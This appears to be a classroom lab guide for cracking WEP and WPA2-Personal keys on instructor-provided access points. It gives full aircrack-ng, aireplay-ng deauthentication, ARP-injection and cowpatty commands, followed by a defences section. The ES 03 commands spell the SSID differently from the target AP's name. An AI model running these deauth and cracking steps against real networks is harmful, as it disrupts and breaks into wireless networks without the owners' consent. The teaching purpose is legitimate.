

WEP/WPA2 Cracking — Lab Guide

Setup

This lab has no GNS3 topology. You work directly on your own Linux machine, in radio range of the physical AP set up in the room.

Target APs:

- **RSI-Wep** — WEP (ES 01)
- **RSI-Sicurissima** — WPA2-Personal (ES 02, 03)

Prerequisites — Install tools

```
sudo apt install aircrack-ng cowpatty john hashcat
```

Setup — Monitor Mode

Before any exercise, put your wireless card into monitor mode. **Do not use a VM** — monitor mode requires direct hardware access.

```
# Find your interface name (look for wlp* or wlan*)
iw dev

# Kill processes that interfere (NetworkManager, wpa_supplicant)
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start <INTERFACE>
# The interface will be renamed: e.g. wlp3s0 → wlp3s0mon

# Verify
iw dev      # type should now say: monitor
```

Scan to confirm you can see APs:

```
sudo airodump-ng <INTERFACE_MON>
# Press Ctrl+C when done
```

ES 01 — WEP Cracking

Target AP: **RSI-Wep** — BSSID and channel on the board.

How it works

WEP uses RC4 with a 24-bit Initialization Vector (IV) prepended to the key. The IV is sent in clear with every frame. After collecting enough frames, the Fluhrer-Mantin-Shamir statistical attack recovers the key.

`aireplay-ng -3` speeds this up by replaying ARP packets, causing the AP to encrypt each with a fresh IV.

Step-by-step

1. Identify the target:

```
sudo airodump-ng <INTERFACE_MON>
# Note: BSSID and CH (channel) for RSI-Wep
```

2. Start targeted capture:

```
sudo airodump-ng -c <CH> --bssid <BSSID> -w wep.cap <INTERFACE_MON>
# Keep this terminal open – watch the #Data counter
```

3. Inject ARP to accelerate IV collection (new terminal):

```
sudo aireplay-ng -3 -b <BSSID> <INTERFACE_MON>
# Watch #Data in the airodump window climb
```

4. Start cracking (new terminal, when #Data > ~500):

```
sudo aircrack-ng wep.cap-01.cap
```

5. Restore managed mode when done:

```
sudo airmon-ng stop <INTERFACE_MON>
```

Variation

Two pre-recorded capture files are provided for offline work:

wep_demo-01.cap — intentionally crafted with weak IVs; aircrack cracks it immediately:

```
aircrack-ng wep_demo-01.cap
```

wep_capture-01.cap — 120 000 IVs collected from random traffic, no weak IVs injected:

```
aircrack-ng wep_capture-01.cap
```

Compare the two results. Does aircrack succeed on both? How many IVs does each contain, and how long does the attack take? What does this tell you about IV quality vs. IV quantity?

ES 02 — WPA2 Dictionary Attack

Target AP: **RSI-Sicurissima**

How it works

WPA2-Personal derives a PMK via `PBKDF2-SHA1(passphrase, SSID, 4096)`. During association, the four-way handshake exchanges nonces that allow offline verification of a candidate passphrase. If the passphrase is in a wordlist, `aircrack-ng` finds it without touching the network again.

Step-by-step

1. Identify the target and start capture:

```
sudo airodump-ng <INTERFACE_MON>
# Note BSSID and CH for RSI-Sicurissima

sudo airodump-ng -c <CH> --bssid <BSSID> -w wpa.cap <INTERFACE_MON>
# Wait for the banner: "WPA handshake: <BSSID>"
```

2. Force deauthentication to trigger a new handshake (new terminal):

```
sudo aireplay-ng -0 2 -a <BSSID> <INTERFACE_MON>
# Sends 2 deauth frames → clients reconnect → handshake captured
# Watch airodump for the "WPA handshake" confirmation
```

3. Stop capture and restore managed mode:

```
# Ctrl+C in airodump
sudo airmon-ng stop <INTERFACE_MON>
```

4. Prepare a dictionary:

```
# Option A — john's built-in list
# already at: /usr/share/john/password.lst (after apt install john)

# Option B — rockyou (14M real passwords)
mkdir -p /usr/share/rockyou
wget -O /usr/share/rockyou/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# Option C — toy dict for this exercise
echo "nonmicraccheraimai" > toy_dict.txt
```

5. Run the dictionary attack:

```
sudo aircrack-ng -w toy_dict.txt wpa.cap-01.cap
```

Try also with `password.lst` — does it find the key? Why not?

ES 03 — WPA2 Rainbow Table Attack

Prerequisite: This exercise reuses the `wpa.cap-01.cap` file captured in ES 02. You do not need to go back to the AP. If you missed ES 02, use the provided `wpa_handshake-01.cap` file instead.

How it works

In ES 02, `aircrack-ng` recomputed `PMK = PBKDF2-SHA1(passphrase, SSID, 4096)` for every candidate passphrase on the fly. That computation takes roughly 1 ms per candidate on a modern CPU — a 14-million-entry wordlist takes hours.

A **rainbow table** pre-computes the PMK for every word in the wordlist once and stores the results on disk. At crack time, `cowpatty` only does a lookup — no recomputation. With a prebuilt table, the same 14-million-entry wordlist takes seconds.

The key constraint: the SSID is the PBKDF2 salt. A table built for `RSI-Sicuriissima` is completely useless against `HomeNetwork` — every SSID requires its own table. This is why choosing a unique, non-common SSID is a concrete defence against prebuilt rainbow tables (but not against a fresh dictionary attack).

Tools: `genpmk` to build the table, `cowpatty` to use it.

Step-by-step

1. Install cowpatty (if not already installed):

```
sudo apt install cowpatty # includes genpmk
```

2. Build the rainbow table:

```
genpmk -f toy_dict.txt -s RSI-Sicuriissima -d rainbow.txt
# genpmk does not require root
# -f: input wordlist
# -s: SSID — must match exactly, case-sensitive (it is the PBKDF2 salt)
# -d: output table file
```

Expected output:

```
19 passphrases tested in 0.03 seconds: 586 passphrases/second
```

3. Crack with cowpatty:

```
cowpatty -d rainbow.txt -r wpa.cap-01.cap -s RSI-Sicuriissima
# -d: rainbow table built by genpmk
# -r: capture file with the 4-way handshake
# -s: SSID (must match the table)
```

Expected output:

```
The PSK is "nonmicraccheraimai".
```

4. Compare speed: cowpatty in dictionary mode (no table):

```
cowpatty -f toy_dict.txt -r wpa.cap-01.cap -s RSI-Sicuriissima
# -f instead of -d: recomputes PBKDF2 on the fly, no prebuilt table
```

Compare the passphrases/second reported at the end of each run. The difference illustrates why precomputation matters at scale.

5. Try with john's list (expected failure):

```
genpmk -f /usr/share/john/password.lst -s RSI-Sicuriissima -d rainbow_john.txt
cowpatty -d rainbow_john.txt -r wpa.cap-01.cap -s RSI-Sicuriissima
# "Unable to identify the PSK from the dictionary file."
```

The passphrase `nonmicraccheraimai` is not in `password.lst` — the attack fails regardless of lookup speed. Speed only matters when the passphrase is actually in the wordlist.

Questions to think about

- If the SSID were `linksys` instead of `RSI-Sicuriissima`, how would the attack change? (Hint: search for "rainbow tables WPA2 linksys".)
- Why does changing the SSID to something unique protect against prebuilt rainbow tables but not against a fresh dictionary attack?
- What is the minimum passphrase entropy that makes an offline attack computationally infeasible, assuming an attacker with a GPU cluster doing 10^9 PMKs/second?
- Would salting PBKDF2 with both the SSID and a random per-AP nonce help? Why doesn't WPA2 do this?

Defences

Against WEP:

Do not use WEP. No key length or configuration makes it secure — the IV weakness is intrinsic to its design. Replace any WEP-only hardware with WPA2 or WPA3.

Against WPA2 dictionary and rainbow table attacks:

- **Long, random passphrases:** a 20-character random passphrase from a 95-character charset has ~131 bits of entropy. Even rockyou (14M entries) is irrelevant — the passphrase is not in any wordlist.
- **WPA3 / SAE:** replaces PSK with Simultaneous Authentication of Equals, a password-authenticated key exchange that is resistant to offline dictionary attacks. Even a captured handshake cannot be attacked offline.
- **Unique SSID:** prevents the use of pre-built rainbow tables keyed to common SSIDs like "linksys" or "home".
- **802.1X / WPA2-Enterprise:** replaces the shared PSK with per-user credentials authenticated via RADIUS. No shared secret to steal or crack.

Common theme: both WEP and WPA2-PSK fail because there is no trusted third party verifying identity. WPA3 and 802.1X add that trust anchor. The gap between "standardised" and "deployed everywhere" is where attackers operate.

Further Reading

- Aircrack-ng WEP guide: https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
- Steube (2018) — PMKID attack announcement: <https://hashcat.net/forum/thread-7717.html>
- Fluhrer, Mantin, Shamir (2001) — "Weaknesses in the Key Scheduling Algorithm of RC4"
- IEEE 802.11i (2004) — WPA2 standard specification
- `man genpmk`, `man cowpatty`, `man aircrack-ng`